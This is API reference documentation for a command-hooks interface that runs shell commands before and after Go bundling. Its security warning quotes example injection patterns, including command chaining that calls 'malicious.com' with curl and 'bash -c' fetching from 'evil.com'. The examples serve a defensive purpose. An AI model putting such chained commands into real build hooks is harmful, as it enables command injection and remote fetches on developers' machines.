Interface ICommandHooks
- All Superinterfaces:
software.amazon.jsii.JsiiSerializable
- All Known Subinterfaces:
ICommandHooks.Jsii$Default
- All Known Implementing Classes:
ICommandHooks.Jsii$Proxy
These commands will run in the environment in which bundling occurs: inside the container for Docker bundling or on the host OS for local bundling.
⚠️ Security Warning: Commands are executed directly in the shell environment. Only use trusted commands and avoid shell metacharacters that could enable command injection attacks.
Safe patterns (cross-platform):
go test ./...- Standard Go commands work on all platformsgo mod tidy- Go module commandsecho "Building"- Simple output with quotesmake clean- Build tools (if available)
Dangerous patterns to avoid:
Windows:
go test & curl.exe malicious.com(command chaining)echo %USERPROFILE%(environment variable expansion)powershell -Command "..."(PowerShell execution)
Unix/Linux/macOS:
go test; curl malicious.com(command chaining)echo $(whoami)(command substitution)bash -c "wget evil.com"(shell execution)
Commands are chained with &&.
- See Also:
-
Nested Class Summary
Nested ClassesModifier and TypeInterfaceDescriptionstatic interfaceInternal default implementation forICommandHooks.static final classA proxy class which represents a concrete javascript instance of this type. -
Method Summary
Modifier and TypeMethodDescriptionafterBundling(String inputDir, String outputDir) (experimental) Returns commands to run after bundling.beforeBundling(String inputDir, String outputDir) (experimental) Returns commands to run before bundling.Methods inherited from interface software.amazon.jsii.JsiiSerializable
$jsii$toJson
-
Method Details
-
afterBundling
@Stability(Experimental) @NotNull List<String> afterBundling(@NotNull String inputDir, @NotNull String outputDir) (experimental) Returns commands to run after bundling.⚠️ Security Warning: Ensure commands come from trusted sources only. Commands are executed directly in the shell environment.
Commands are chained with
&&.- Parameters:
inputDir- This parameter is required.outputDir- This parameter is required.
-
beforeBundling
@Stability(Experimental) @NotNull List<String> beforeBundling(@NotNull String inputDir, @NotNull String outputDir) (experimental) Returns commands to run before bundling.⚠️ Security Warning: Ensure commands come from trusted sources only. Commands are executed directly in the shell environment.
Commands are chained with
&&.- Parameters:
inputDir- This parameter is required.outputDir- This parameter is required.
-